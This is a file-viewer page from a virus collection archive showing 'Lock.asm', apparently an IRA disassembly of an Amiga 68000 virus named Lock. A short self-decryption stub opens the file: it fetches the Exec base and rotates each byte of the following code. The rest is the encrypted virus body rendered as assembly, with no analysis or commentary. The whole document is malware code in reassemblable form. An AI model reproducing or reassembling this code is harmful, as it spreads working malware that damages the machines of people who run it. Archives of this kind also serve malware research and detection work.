home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
telefisk.org
/
virusCollection.lzx
/
VirusResearch
/
beol96
/
Lock.asm
< prev
next >
Wrap
Assembly Source File
|
2013-04-15
|
26KB
|
1,099 lines
; IRA V1.02 (Sep 6 1993) (c)1993 Tim Ruehsen
EXT_0000 EQU $3D42
EXT_0001 EQU $1F421F02
EXT_0002 EQU $35A15CAB
EXT_0003 EQU $F85EBB0A
EXT_0004 EQU $FFFFA03A
EXT_0005 EQU $FFFFC0CE
EXT_0006 EQU $FFFFD136
SECTION S_0,CODE
SECSTRT_0:
MOVEM.L D0-D7/A0-A6,-(A7) ;000: 48E7FFFE
MOVEQ #4,D4 ;004: 7804
MOVEA.L D4,A4 ;006: 2844
MOVEA.L (A4),A6 ;008: 2C54
LEA LAB_0001+3(PC),A0 ;00A: 41FA0027
ADDQ.L #5,A0 ;00E: 5A88
MOVE #$0730,D0 ;010: 303C0730
SUBQ #7,D0 ;014: 5F40
LAB_0000:
DC.W $0A10 ;016
DC.W $15CE ;018
DC.W $0410 ;01A
ROXR D6,D0 ;01C: EC70
MOVE.B (A0),D5 ;01E: 1A10
ROL.B #3,D5 ;020: E71D
MOVE.B D5,(A0) ;022: 1085
ADDQ #1,A0 ;024: 5248
TST D0 ;026: 4A40
BEQ.S LAB_0001 ;028: 6706
SUBQ #1,D0 ;02A: 5340
BRA LAB_0000 ;02C: 6000FFE8
LAB_0001:
MOVE #$FDB0,D3 ;030: 363CFDB0
JSR -44(A6,D3.W) ;034: 4EB630D4
SUBQ #3,D1 ;038: 5741
SUB.B 15155(A5),D7 ;03A: 9E2D3B33
DC.W $4153 ;03E
DC.W $7939 ;040
DC.W $FEA0 ;042
ADDA (A6),A2 ;044: D4D6
DC.W $B771 ;046
DC.W $BE3A ;048
MOVE (A5),(A5) ;04A: 3A95
DC.W $FC7C ;04C
DC.W $A21D ;04E
MOVE -900(A6),D6 ;050: 3C2EFC7C
DC.W $A21D ;054
MOVE -900(A6),D6 ;056: 3C2EFC7C
DC.W $A21D ;05A
DC.W $3C2E ;05C
MOVEQ #119,D2 ;05E: 7477
SCC -(A7) ;060: 54E7
DC.W $A103 ;062
MOVEQ #57,D4 ;064: 7839
ROXL.L #8,D0 ;066: E190
DC.W $F788 ;068
CMPA (A7)+,A6 ;06A: BCDF
TAS (A1) ;06C: 4AD1
DC.W $4EF6 ;06E
DC.W $BCBF ;070
DC.W $0B3A ;072
DC.W $B5B7 ;074
MOVE.B (A1),(A4)+ ;076: 18D1
DC.W $BDF5 ;078
SUBA D1,A5 ;07A: 9AC1
MOVEQ #-68,D6 ;07C: 7CBC
DC.W $00D6 ;07E
MOVE (A6),19546(A5) ;080: 3B564C5A
CMP.B (A6)+,D7 ;084: BE1E
CMP (A2)+,D6 ;086: BC5A
DC.W $DEBB ;088
DC.W $BFA8 ;08A
DC.W $6AD1 ;08C
DC.W $A193 ;08E
CMP.L (A0)+,D6 ;090: BC98
CMPA (A5)+,A7 ;092: BEDD
DC.W $9DFD ;094
DC.W $6ED9 ;096
CMPA.L D3,A6 ;098: BDC3
CHK -(A2),D5 ;09A: 4BA2
DC.W $A1F1 ;09C
MOVE (EXT_0006).W,D5 ;09E: 3A38D136
SUB.L (A0),D5 ;0A2: 9A90
DC.W $8176 ;0A4
DC.W $5A0A ;0A6
DC.W $AAFA ;0A8
AND.B D6,(A5)+ ;0AA: CD1D
LAB_0003:
DC.W $05BE ;0AC
DC.W $9A09 ;0AE
EOR D3,(A6)+ ;0B0: B75E
DC.W $9A09 ;0B2
DC.W $103F ;0B4
DC.W $9A09 ;0B6
EOR D1,(A6)+ ;0B8: B35E
DC.W $9A09 ;0BA
DC.W $3FFE ;0BC
DC.W $AE0F ;0BE
DC.W $AE3F ;0C0
MOVEQ #-114,D7 ;0C2: 7E8E
DC.W $BFBF ;0C4
DC.W $4FDE ;0C6
DC.W $604F ;0C8
DC.W $1E70 ;0CA
DC.W $4F7E ;0CC
DC.W $C08E ;0CE
DC.W $5F30 ;0D0
OR 28366(A6),D7 ;0D2: 8E6E6ECE
DC.W $BFBF ;0D6
DC.W $5E6E ;0D8
DC.W $203F ;0DA
BGT.S LAB_0003 ;0DC: 6ECE
DC.W $6EBF ;0DE
CMP (A7)+,D3 ;0E0: B65F
DC.W $43BE ;0E2
MOVEQ #-1,D7 ;0E4: 7EFF
ADD 20174(A7),D7 ;0E6: DE6F4ECE
TAS (A1) ;0EA: 4AD1
DC.W $9EBE ;0EC
DC.W $4ECE ;0EE
TAS (A1) ;0F0: 4AD1
DC.W $AEFE ;0F2
DC.W $CE4B ;0F4
MOVEA A6,A3 ;0F6: 364E
DC.W $CE4A ;0F8
DC.W $D1BF ;0FA
DC.W $FECE ;0FC
DC.W $BB36 ;0FE
MOVEQ #58,D7 ;100: 7E3A
ADD.L D4,(A6)+ ;102: D99E
DC.W $4ECE ;104
CMP.L -16770(A3),D6 ;106: BCABBE7E
LEA 11342(A7),A7 ;10A: 4FEF2C4E
MOVEA A2,A7 ;10E: 3E4A
DC.W $317E ;110
MOVE.B D1,D7 ;112: 1E01
BGT.S LAB_0005 ;114: 6E5E
MOVE #$3EBE,(A7) ;116: 3EBC3EBE
DC.W $0E3A ;11A
MOVE (A6)+,-(A4) ;11C: 391E
MOVEP.L 24252(A6),D0 ;11E: 014E5EBC
DC.W $AFBE ;122
UNLK A6 ;124: 4E5E
DC.W $BDFD ;126
ROR.B #7,D6 ;128: EE1E
MOVE.B D1,D7 ;12A: 1E01
DC.W $FE5E ;12C
DC.W $4BBA ;12E
UNLK A6 ;130: 4E5E
DC.W $BDFD ;132
MOVE.B (A6)+,D7 ;134: 1E1E
BCHG D0,(A6)+ ;136: 015E
ADDQ.B #7,(A6)+ ;138: 5E1E
CMP.B -18938(A6),D5 ;13A: BA2EB606
DC.W $0624 ;13E
DC.W $F2CE ;140
LAB_0004:
OR.L D4,-17618(A4) ;142: 89ACBB2E
MOVEQ #-50,D7 ;146: 7ECE
BCLR D7,24270(A7) ;148: 0FAF5ECE
DC.W $5B3A ;14C
CMP (A6)+,D7 ;14E: BE5E
DC.W $CE3A ;150
DC.W $BB7E ;152
SUBQ.B #5,-(A7) ;154: 5B27
DC.W $4ECE ;156
CMP.L -16818(A3),D6 ;158: BCABBE4E
DC.W $6EB9 ;15C
MOVE.L USP,A6 ;15E: 4E6E
AND -19534(A6),D7 ;160: CE6EB3B2
CMP 28366(A6),D7 ;164: BE6E6ECE
DC.W $BF3F ;168
CMP.B 32462(A4),D7 ;16A: BE2C7ECE
DC.W $4F4F ;16E
ADDQ #7,(A6)+ ;170: 5E5E
DC.W $4B32 ;172
LAB_0005:
ADD (A6)+,D7 ;174: DE5E
ADDQ #7,-17794(A3) ;176: 5E6BBA7E
DC.W $D8BE ;17A
ADD (A6)+,D7 ;17C: DE5E
SGT (A2)+ ;17E: 5EDA
DC.W $BA7E ;180
MOVE.L (A6)+,D4 ;182: 281E
ADDQ #7,(A6)+ ;184: 5E5E
BMI.S LAB_0004 ;186: 6BBA
MOVEQ #-72,D7 ;188: 7EB8
CMPA (A6)+,A7 ;18A: BEDE
DC.W $B27E ;18C
DC.W $AEEF ;18E
MOVE.L A6,D6 ;190: 2C0E
MOVE (A1)+,(A5)+ ;192: 3AD9
CMP.B (A6)+,D7 ;194: BE1E
DC.W $0E9A ;196
SUB.L D1,D0 ;198: 9081
MOVEQ #-66,D3 ;19A: 76BE
DC.W $4E2E ;19C
TST.L (A0) ;19E: 4A90
MOVE.B D1,(A7) ;1A0: 1E81
MOVEQ #94,D3 ;1A2: 765E
MOVE.L (A2)+,(A7) ;1A4: 2E9A
MOVE 20046(A6),D2 ;1A6: 342E4E4E
DC.W $BDFD ;1AA
MOVE D1,(A7) ;1AC: 3E81
MOVEQ #126,D3 ;1AE: 767E
SUB.B (A5),D5 ;1B0: 9A15
DC.W $CE4E ;1B2
DC.W $0E9A ;1B4
SUB.L D1,D2 ;1B6: 9481
MOVEQ #-66,D3 ;1B8: 76BE
MOVEQ #-34,D7 ;1BA: 7EDE
LAB_0006:
MOVE #$0EFC,14782(A7) ;1BC: 3F7C0EFC39BE
MOVEQ #-66,D7 ;1C2: 7EBE
DC.W $4EBE ;1C4
DC.W $B97E ;1C6
BGT.S LAB_0007 ;1C8: 6E1E
CMP.L #$BA5E1EFC,D7 ;1CA: BEBCBA5E1EFC
DC.W $BBBE ;1D0
DC.W $4EBE ;1D2
DC.W $BC3D ;1D4
MOVEQ #-66,D7 ;1D6: 7EBE
MOVEQ #94,D7 ;1D8: 7E5E
CMPA #$BABE,A7 ;1DA: BEFCBABE
DC.W $4E1E ;1DE
DC.W $4A31 ;1E0
DC.W $1EBE ;1E2
MOVEQ #94,D7 ;1E4: 7E5E
DC.W $1EFC ;1E6
LAB_0007:
MOVE 18590(A6),D4 ;1E8: 382E489E
TST.L -(A0) ;1EC: 4AA0
DC.W $BE3D ;1EE
DC.W $FCBB ;1F0
LAB_0008:
CMP (A6),D6 ;1F2: BC56
DC.W $FAA3 ;1F4
DC.W $ADA1 ;1F6
DC.W $9A09 ;1F8
MOVE -(A0),D5 ;1FA: 3A20
DC.W $A191 ;1FC
SUB.L (A4),D5 ;1FE: 9A94
DC.W $A1F9 ;200
SUBQ.L #4,A6 ;202: 598E
DC.W $6AD1 ;204
CMPA (A4)+,A7 ;206: BEDC
CMP.L (A0)+,D6 ;208: BC98
DC.W $4E74 ;20A
DC.W $48BF ;20C
LAB_0009:
CMP.L (A0)+,D6 ;20E: BC98
DC.W $4E17 ;210
DC.W $48DE ;212
SUB.L (A4),D5 ;214: 9A94
DC.W $A119 ;216
DC.W $FAA3 ;218
DC.W $A9A1 ;21A
DC.W $9A09 ;21C
DC.W $DAB7 ;21E
MOVE.L (A1),(A4)+ ;220: 28D1
DC.W $553C ;222
DC.W $BE3E ;224
DC.W $187E ;226
DC.W $4CCA ;228
DC.W $BE75 ;22A
CMP.L LAB_0006+2(PC,A3.L),D6 ;22C: BCBBB890
MOVE -(A0),D5 ;230: 3A20
DC.W $A991 ;232
DC.W $FC39 ;234
DC.W $BE7E ;236
MOVE.B (A0)+,(A6) ;238: 1C98
DC.W $4E7F ;23A
MOVE.L -(A0),(A5)+ ;23C: 2AE0
CMP.B (A2)+,D7 ;23E: BE1A
DC.W $48BE ;240
DC.W $5EB3 ;242
DC.W $DCBA ;244
DC.W $CA31 ;246
DC.W $BE3F ;248
DC.W $C380 ;24A
CMPA (A6)+,A7 ;24C: BEDE
MOVEM.L D2-D3/D7/A1/A3-A4,(A4) ;24E: 48D41A8C
CMPA A6,A7 ;252: BECE
ROR.L #4,D5 ;254: E89D
DC.W $FCFC ;256
DC.W $A1F0 ;258
CMP.B (A2)+,D6 ;25A: BC1A
DC.W $DA34 ;25C
DC.W $BEB8 ;25E
DC.W $185D ;260
CMPA #$A1B1,A6 ;262: BCFCA1B1
DC.W $489F ;266
MOVEQ #-34,D7 ;268: 7EDE
CMP (A5)+,D7 ;26A: BE5D
BGT.S LAB_0009 ;26C: 6EA0
LAB_000A:
DC.W $4EDA ;26E
BGT.S LAB_0008 ;270: 6E80
DC.W $BE74 ;272
CMP (A3)+,D7 ;274: BE5B
DC.W $4EBB ;276
DC.W $BE3F ;278
CMP (A4)+,D7 ;27A: BE5C
CMP.B -16737(A7),D7 ;27C: BE2FBE9F
DC.W $B3B3 ;280
SUB.L -34(A7,A3.L),D5 ;282: 9AB7B8DE
DC.W $BCAB ;286
DC.W $B53B ;288
DC.W $2871 ;28A
DC.W $5D3B ;28C
DC.W $8831 ;28E
ADDQ.L #5,A4 ;290: 5A8C
CMPA A6,A7 ;292: BECE
CMP.L A6,D6 ;294: BC8E
DC.W $FAA3 ;296
DC.W $A991 ;298
DC.W $9A09 ;29A
DC.W $4732 ;29C
CMPA -16872(A4),A6 ;29E: BCECBE18
DC.W $0036 ;2A2
DC.W $28B8 ;2A4
DC.W $BCBD ;2A6
DC.W $3EBF ;2A8
DC.W $0036 ;2AA
DC.W $283B ;2AC
DC.W $BCBA ;2AE
DC.W $B9BE ;2B0
DC.W $BF3F ;2B2
DC.W $B3B2 ;2B4
DC.W $487F ;2B6
BGT.S LAB_000A ;2B8: 6EB4
DC.W $373A ;2BA
CMP (A6)+,D4 ;2BC: B85E
LAB_000B:
DC.W $B73A ;2BE
DC.W $BC3E ;2C0
DC.W $BA3F ;2C2
DC.W $B93C ;2C4
DC.W $BF3B ;2C6
EOR.B D3,EXT_0002 ;2C8: B73935A15CAB
CMP (A6)+,D4 ;2CE: B85E
SUBQ.B #1,-(A2) ;2D0: 5322
DC.W $99BE ;2D2
SUBA.L A7,A7 ;2D4: 9FCF
ROR.L #4,D4 ;2D6: E89C
MOVEQ #58,D6 ;2D8: 7C3A
EOR D7,(A4)+ ;2DA: BF5C
DC.W $203E ;2DC
CMPA.L A7,A2 ;2DE: B5CF
MOVE.B (A0),(A4) ;2E0: 1890
CHK -(A2),D5 ;2E2: 4BA2
DC.W $A111 ;2E4
DC.W $B97C ;2E6
EOR D1,54(A7,D0.W) ;2E8: B3770036
DC.W $BCBA ;2EC
DC.W $5C3A ;2EE
NBCD (A7)+ ;2F0: 481F
DC.W $185F ;2F2
DC.W $B3B2 ;2F4
DC.W $996E ;2F6
DC.W $BF3F ;2F8
DC.W $B03B ;2FA
CHK -(A2),D5 ;2FC: 4BA2
DC.W $A1D1 ;2FE
DC.W $287E ;300
BGE.S LAB_000B ;302: 6CBA
DC.W $A1F0 ;304
DC.W $9A09 ;306
DC.W $B9BE ;308
DC.W $BFBF ;30A
DC.W $CBBA ;30C
DC.W $887E ;30E
DC.W $DABD ;310
CMP A6,D7 ;312: BE4E
DC.W $9A09 ;314
DC.W $48BE ;316
DC.W $BEF6 ;318
DC.W $DAF4 ;31A
DC.W $A171 ;31C
DC.W $2871 ;31E
CMPM (A2)+,(A4)+ ;320: B94A
DC.W $0036 ;322
SUBQ #4,A6 ;324: 594E
SUB.L (A4),D5 ;326: 9A94
DC.W $817B ;328
MOVE.B 16(A6,D2.L),(A6) ;32A: 1CB62810
MOVEQ #-70,D6 ;32E: 7CBA
TAS (A1) ;330: 4AD1
DC.W $5EBF ;332
DC.W $485B ;334
CMPA (A0)+,A6 ;336: BCD8
DC.W $BEF9 ;338
DC.W $2BD8 ;33A
CMPA EXT_0003,A7 ;33C: BEF9F85EBB0A
LAB_000C:
DC.W $F8B8 ;342
DC.W $DC3E ;344
DC.W $B3F1 ;346
MOVEA (A6)+,A7 ;348: 3E5E
DC.W $BC3E ;34A
SUBQ #4,A6 ;34C: 594E
SUB.L (A4),D5 ;34E: 9A94
DC.W $817B ;350
MOVEQ #-78,D6 ;352: 7CB2
MOVEQ #6,D6 ;354: 7C06
LEA (A7),A1 ;356: 43D7
MOVEQ #-78,D6 ;358: 7CB2
MOVE.L (A6)+,D4 ;35A: 281E
TAS (A0) ;35C: 4AD0
CMP 20(A6,D4.L),D7 ;35E: BE764814
DC.W $28BA ;362
DC.W $3BBF ;364
DC.W $6AB1 ;366
DC.W $BE0E ;368
DC.W $5ACF ;36A
LAB_000D:
SUBQ.B #7,D2 ;36C: 5F02
CMP.L D6,D0 ;36E: B086
MOVE.B (A1),(A4)+ ;370: 18D1
MOVEQ #114,D6 ;372: 7C72
CMPA #$BE7E,A6 ;374: BCFCBE7E
DC.W $0036 ;378
LAB_000E:
DC.W $BCBA ;37A
DC.W $BF3F ;37C
DC.W $7FB2 ;37E
DC.W $7F33 ;380
BMI.S LAB_000C ;382: 6BBE
SUBA (A1),A4 ;384: 98D1
DC.W $9A09 ;386
LAB_000F:
BPL.S LAB_000E ;388: 6AF0
LAB_0010:
DC.W $BEBF ;38A
DC.W $59CE ;38C
DC.W $AC4C ;38E
DC.W $4BC2 ;390
LAB_0011:
DC.W $A1F1 ;392
DC.W $9AB7 ;394
BPL.S LAB_000F ;396: 6AF0
DC.W $A130 ;398
DC.W $59CE ;39A
ADDQ.L #6,-(A3) ;39C: 5CA3
DC.W $4BC2 ;39E
DC.W $A1F1 ;3A0
DC.W $9A09 ;3A2
DC.W $BC6F ;3A4
MOVE.L (A3),(A4) ;3A6: 2893
BEQ.S LAB_000D ;3A8: 67C2
ADDQ #6,A1 ;3AA: 5C49
DC.W $3E3E ;3AC
DC.W $487E ;3AE
DC.W $5C6B ;3B0
ADDQ #5,-(A7) ;3B2: 5A67
SUB.L (A0),D5 ;3B4: 9A90
OR.L D0,(A2)+ ;3B6: 819A
CMP 10288(A7),D6 ;3B8: BC6F2830
MOVEQ #-70,D6 ;3BC: 7CBA
TAS (A1) ;3BE: 4AD1
UNLK A0 ;3C0: 4E58
PEA -109(A2,A3.L) ;3C2: 4872B893
DC.W $BC6F ;3C6
DC.W $28F5 ;3C8
MOVEQ #-70,D6 ;3CA: 7CBA
SGE (A3)+ ;3CC: 5CDB
CMPA #$A171,A6 ;3CE: BCFCA171
MOVEA.L (A5),A4 ;3D2: 2855
DC.W $DCBE ;3D4
BLS.S LAB_0010 ;3D6: 63B2
DC.W $6553 ;3D8
DC.W $9832 ;3DA
DC.W $0CCE ;3DC
BEQ.S LAB_0011 ;3DE: 67B2
DC.W $BC7B ;3E0
SUB.L (A4),D5 ;3E2: 9A94
DC.W $81B7 ;3E4
DC.W $D5F4 ;3E6
DC.W $BE7E ;3E8
MOVE.L (A7),(A4)+ ;3EA: 28D7
SGE (A3)+ ;3EC: 5CDB
DC.W $65D3 ;3EE
DC.W $1855 ;3F0
MOVEQ #91,D6 ;3F2: 7C5B
MOVEQ #-41,D7 ;3F4: 7ED7
DC.W $BEBE ;3F6
DC.W $6E61 ;3F8
DC.W $1834 ;3FA
DC.W $ACCE ;3FC
DC.W $DDFD ;3FE
MOVE.B D1,D7 ;400: 1E01
DC.W $53F1 ;402
MOVEA.L (A6)+,A7 ;404: 2E5E
TAS (A1) ;406: 4AD1
DC.W $6EDB ;408
DC.W $48BE ;40A
DC.W $4E19 ;40C
DC.W $3BDA ;40E
CMPA (A2)+,A6 ;410: BCDA
DC.W $3CBF ;412
DC.W $5BB7 ;414
DC.W $BB36 ;416
SUBQ.B #5,-10(A7,D0.W) ;418: 5B3700F6
DC.W $4372 ;41C
MOVEQ #-10,D0 ;41E: 70F6
DC.W $19BE ;420
DC.W $9931 ;422
DC.W $BC3F ;424
MOVEQ #-70,D7 ;426: 7EBA
BGT.S LAB_0012 ;428: 6E30
DC.W $D87E ;42A
CMP.L 6322(A7),D6 ;42C: BCAF18B2
DC.W $FEBA ;430
DC.W $BEEE ;432
DC.W $F811 ;434
CMPA.L -16866(A5),A7 ;436: BFEDBE1E
SUBA -(A1),A5 ;43A: 9AE1
CMP (A6)+,D7 ;43C: BE5E
MOVEQ #-2,D5 ;43E: 7AFE
DC.W $FEFA ;440
DC.W $FC90 ;442
SUB.L (A0),D0 ;444: 9090
DC.W $3D7A ;446
DC.W $BBBE ;448
DC.W $5C3F ;44A
ADD.B -(A6),D5 ;44C: DA26
DC.W $D87E ;44E
DC.W $9336 ;450
DC.W $05BB ;452
DC.W $FE38 ;454
DC.W $9A09 ;456
CMP (A6)+,D7 ;458: BE5E
LAB_0012:
MOVE.L -58(A3,D0.W),(A4) ;45A: 28B300C6
DC.W $4342 ;45E
ADD -(A2),D5 ;460: DA62
DC.W $28B2 ;462
BMI.S LAB_0013 ;464: 6B7A
DC.W $2872 ;466
CMPA (A5),A4 ;468: B8D5
DC.W $5C3F ;46A
MOVE.L (A5),D4 ;46C: 2815
SUBQ.B #5,-58(A7,D0.W) ;46E: 5B3700C6
DC.W $4342 ;472
DC.W $B871 ;474
DC.W $5C3F ;476
MOVE.L (A4),(A4)+ ;478: 28D4
DC.W $00C6 ;47A
DC.W $4AB1 ;47C
DC.W $3F7E ;47E
DC.W $B871 ;480
DC.W $5C3F ;482
DC.W $00C6 ;484
DC.W $4342 ;486
CMPA (A7),A4 ;488: B8D7
DC.W $3B36 ;48A
CMP (A3),D4 ;48C: B853
DC.W $19BE ;48E
BMI.S LAB_0014+2 ;490: 6B7A
DC.W $18B7 ;492
DC.W $1C3E ;494
MOVE.B -(A7),119(A2,D1.L) ;496: 15A71877
TAS (A1) ;49A: 4AD1
CMPA (A2)+,A7 ;49C: BEDA
DC.W $487E ;49E
TAS (A1) ;4A0: 4AD1
CMP.B (A6)+,D7 ;4A2: BE1E
DC.W $B8BE ;4A4
SUB D0,(A0) ;4A6: 9150
DC.W $B93E ;4A8
SUBQ.L #4,-(A1) ;4AA: 59A1
DC.W $3A73 ;4AC
DC.W $BE6E ;4AE
DC.W $BDFD ;4B0
DC.W $6EB1 ;4B2
DC.W $483A ;4B4
MOVE (A6),(A6)+ ;4B6: 3CD6
DC.W $B9FE ;4B8
DC.W $CCBA ;4BA
DC.W $BE7E ;4BC
EOR.B D4,18685(A3) ;4BE: B92B48FD
CMPA.L (A2)+,A5 ;4C2: BBDA
MOVEQ #6,D6 ;4C4: 7C06
SUBA.L (A6),A3 ;4C6: 97D6
MOVE (A6),(A6)+ ;4C8: 3CD6
AND.B -16770(A2),D6 ;4CA: CC2ABE7E
SUBA.L (A6),A1 ;4CE: 93D6
DC.W $48BD ;4D0
DC.W $1B0A ;4D2
ORI.L #$3A73BE3C,D6 ;4D4: 00863A73BE3C
NBCD (A4)+ ;4DA: 481C
MOVE.B -(A6),-(A3) ;4DC: 1726
MOVE -(A6),D6 ;4DE: 3C26
LAB_0013:
AND -16770(A2),D6 ;4E0: CC6ABE7E
DC.W $B8FF ;4E4
DC.W $59BE ;4E6
DC.W $5AF4 ;4E8
DC.W $A1F1 ;4EA
DC.W $B9BF ;4EC
EOR D1,-(A7) ;4EE: B367
DC.W $BCBA ;4F0
MOVE 54(A4,D7.W),(A6) ;4F2: 3CB47036
DC.W $3AF0 ;4F6
CMP -16770(A6),D7 ;4F8: BE6EBE7E
CMPM.B (A7)+,(A4)+ ;4FC: B90F
DC.W $CDBA ;4FE
DC.W $A151 ;500
ADDQ.L #6,A2 ;502: 5C8A
CMP.B (A2)+,D6 ;504: BC1A
DC.W $3AE8 ;506
CMP.B (A7)+,D7 ;508: BE1F
LAB_0014:
AND.L -24080(A3),D6 ;50A: CCABA1F0
SUB.L (A4),D5 ;50E: 9A94
SUB D0,(A7) ;510: 9157
DC.W $3AE8 ;512
CMP.B (A7)+,D7 ;514: BE1F
CMP.B -25964(A3),D6 ;516: BC2B9A94
DC.W $91B6 ;51A
CMP.L -25968(A3),D6 ;51C: BCAB9A90
DC.W $91F6 ;520
SGE (A4)+ ;522: 5CDC
DC.W $BE79 ;524
DC.W $48B2 ;526
DC.W $73F1 ;528
DC.W $BE76 ;52A
MULU (A2)+,D6 ;52C: CCDA
DC.W $BE3E ;52E
EOR D4,(A4)+ ;530: B95C
MOVEM.L D1-D4/D6-D7/A2-A5/A7,(A2) ;532: 48D2BCDE
MOVEQ #54,D0 ;536: 7036
DC.W $1BB6 ;538
DC.W $CCBA ;53A
DC.W $BE3E ;53C
DC.W $B9FF ;53E
CMPA 54(A5,D7.W),A4 ;540: B8F57036
DC.W $5C7C ;544
DC.W $00C6 ;546
DC.W $4732 ;548
DC.W $3CB1 ;54A
MOVE #$3C7F,15542(A7) ;54C: 3F7C3C7F3CB6
DC.W $BDFD ;552
MOVEQ #-34,D7 ;554: 7EDE
DC.W $4830 ;556
DC.W $CC7A ;558
DC.W $A1F1 ;55A
CMPA.L (A7)+,A4 ;55C: B9DF
DC.W $48B0 ;55E
DC.W $0AD0 ;560
DC.W $BEBF ;562
ADD (A7)+,D6 ;564: DC5F
ADD D3,(A4) ;566: D754
ADDQ #5,(A4) ;568: 5A54
LEA (A6),A5 ;56A: 4BD6
DC.W $9A09 ;56C
CMPA.L A5,A7 ;56E: BFCD
CMP.L -(A3),D7 ;570: BEA3
EOR.B D0,17710(A6) ;572: B12E452E
DC.W $A0AB ;576
EOR.B D6,-26103(A6) ;578: BD2E9A09
DC.W $48B1 ;57C
DC.W $B03A ;57E
DC.W $9A09 ;580
MOVE -(A0),D5 ;582: 3A20
ROXL.L #1,D1 ;584: E391
NBCD (A0) ;586: 4810
DC.W $4DBA ;588
DC.W $C13C ;58A
DC.W $ACBE ;58C
SUB.L (A4),D5 ;58E: 9A94
DC.W $A1F9 ;590
NBCD 62(A0,A7.W) ;592: 4830F03E
DC.W $3DBE ;596
DC.W $5D0E ;598
CMPA A2,A0 ;59A: B0CA
DC.W $483E ;59C
ROL D0,D1 ;59E: E179
CMPA A6,A7 ;5A0: BECE
CMPA -16690(A6),A7 ;5A2: BEEEBECE
DC.W $796E ;5A6
MOVE.B 31915(A3),D6 ;5A8: 1C2B7CAB
MOVE.B (A3),EXT_0001 ;5AC: 13D31F421F02
LEA (A2),A5 ;5B2: 4BD2
DC.W $A131 ;5B4
SUB (A3)+,D5 ;5B6: 9A5B
DC.W $A119 ;5B8
ADD.L -13696(A2),D6 ;5BA: DCAACA80
CMP (A7)+,D7 ;5BE: BE5F
DC.W $59B2 ;5C0
DC.W $190E ;5C2
NBCD 62(A4,A5.W) ;5C4: 4834D03E
TRAP #2 ;5C8: 4E42
DC.W $1831 ;5CA
DC.W $0FBE ;5CC
DC.W $4BE2 ;5CE
DC.W $A171 ;5D0
SUBQ #5,(A2)+ ;5D2: 5B5A
MOVE.L (A0),(A4)+ ;5D4: 28D0
SPL (A4) ;5D6: 5AD4
DC.W $A131 ;5D8
DC.W $F9BE ;5DA
MOVEM D1-D5/D7/A0/A2-A6,90(A7,D7.W) ;5DC: 48B77DBE705A
NBCD 62(A7,D3.W) ;5E2: 4837303E
DC.W $5DBE ;5E6
DC.W $4B4A ;5E8
DC.W $98B1 ;5EA
MOVE.L (A1),(A5)+ ;5EC: 2AD1
ROL.L #8,D2 ;5EE: E19A
SUBQ #7,-16578(A5) ;5F0: 5F6DBF3E
MOVEA D6,A5 ;5F4: 3A46
MOVE.B D2,7966(A1) ;5F6: 13421F1E
DC.W $126F ;5FA
DC.W $15EF ;5FC
DC.W $18F3 ;5FE
DC.W $4E12 ;600
MOVE.B -66(A3,D4.L),D4 ;602: 183348BE
DC.W $A119 ;606
DC.W $F03E ;608
EOR D7,-16706(A5) ;60A: BF6DBEBE
DC.W $13B2 ;60E
MOVEM.L D1-D4/A0/A2-A5/A7,(EXT_0004).W ;610: 48F8BD1EA03A
DC.W $D872 ;616
DC.W $1C58 ;618
DC.W $BCFE ;61A
CMPA.L -(A6),A3 ;61C: B7E6
DC.W $436B ;61E
DC.W $5CFE ;620
SUBQ.L #3,D6 ;622: 5786
SUBQ #1,D2 ;624: 5342
DC.W $1CCA ;626
DC.W $FC0E ;628
ADDX -(A2),-(A1) ;62A: D34A
DC.W $BFBC ;62C
MOVE.B (A6)+,32012(A4) ;62E: 195E7D0C
MOVEQ #8,D6 ;632: 7C08
SUB (A7),D5 ;634: 9A57
DC.W $4BE2 ;636
DC.W $A131 ;638
ASR.L #5,D0 ;63A: EA80
LAB_0015:
CMP (A7)+,D7 ;63C: BE5F
DC.W $2FBE ;63E
CHK (A2),D5 ;640: 4B92
DC.W $A1D0 ;642
BMI.S LAB_0017 ;644: 6B4A
MOVE.L #$4BC2A1F1,-17206(A7) ;646: 2F7C4BC2A1F1BCCA
LAB_0016:
DC.W $AAA0 ;64E
CMP.L (A6),D7 ;650: BE96
DC.W $4BF2 ;652
DC.W $A17A ;654
SUB.L (A4),D5 ;656: 9A94
DC.W $A119 ;658
SUBX.B -(A2),-(A5) ;65A: 9B0A
MOVEQ #-118,D0 ;65C: 708A
DC.W $085E ;65E
DC.W $7BCA ;660
DC.W $0A31 ;662
DC.W $6E51 ;664
SGE (A6) ;666: 5CD6
MOVE.L (A5)+,(A6)+ ;668: 2CDD
ROXL.L D0,D7 ;66A: E1B7
MOVE D2,D5 ;66C: 3A02
MOVE.L A6,D6 ;66E: 2C0E
DC.W $4BDA ;670
BMI.S LAB_0016 ;672: 6BDA
MOVE.L (A6)+,(A6)+ ;674: 2CDE
MOVEQ #-81,D6 ;676: 7CAF
DC.W $FAA3 ;678
DC.W $A9E3 ;67A
DC.W $9A09 ;67C
CMPA.L 15030(A7),A7 ;67E: BFEF3AB6
DC.W $BFED ;682
CMP.L (A3)+,D7 ;684: BE9B
DC.W $3AB6 ;686
SUBA -(A5),A5 ;688: 9AE5
CMP.B LAB_0015+1(PC,A3.L),D7 ;68A: BE3BB8B1
CMPA (A4)+,A6 ;68E: BCDC
LAB_0017:
DC.W $A131 ;690
DC.W $B7F6 ;692
DC.W $3DB2 ;694
CMPA (A4)+,A4 ;696: B8DC
ADDQ #7,(A2)+ ;698: 5E5A
CMP.B 23386(A6),D7 ;69A: BE2E5B5A
DC.W $9A09 ;69E
DC.W $B9BE ;6A0
DC.W $B8FE ;6A2
PEA (A1) ;6A4: 4851
EOR D6,(A6)+ ;6A6: BD5E
MOVEQ #-70,D5 ;6A8: 7ABA
DC.W $B87E ;6AA
MOVEM.L D1-D4/D6/A0/A2-A5/A7,(A0) ;6AC: 48D0BD5E
DC.W $0CFA ;6B0
DC.W $A1F1 ;6B2
DC.W $3DB2 ;6B4
DC.W $9A09 ;6B6
NBCD (EXT_0005).W ;6B8: 4838C0CE
MOVE D2,16214(A7) ;6BC: 3F423F56
MOVEQ #-1,D5 ;6C0: 7AFF
DC.W $3BA6 ;6C2
DC.W $9A09 ;6C4
DC.W $48DB ;6C6
SUBA A3,A0 ;6C8: 90CB
MOVEM D1/D3-D5/D7/A1-A2/A4/A6,(EXT_0000).W ;6CA: 48B856BA3D42
DC.W $9A09 ;6D0
DC.W $489A ;6D2
CMP -38(A1,D4.L),D4 ;6D4: B87148DA
SUBA A3,A0 ;6D8: 90CB
CMPM (A6)+,(A6)+ ;6DA: BD4E
DC.W $487A ;6DC
DC.W $56BA ;6DE
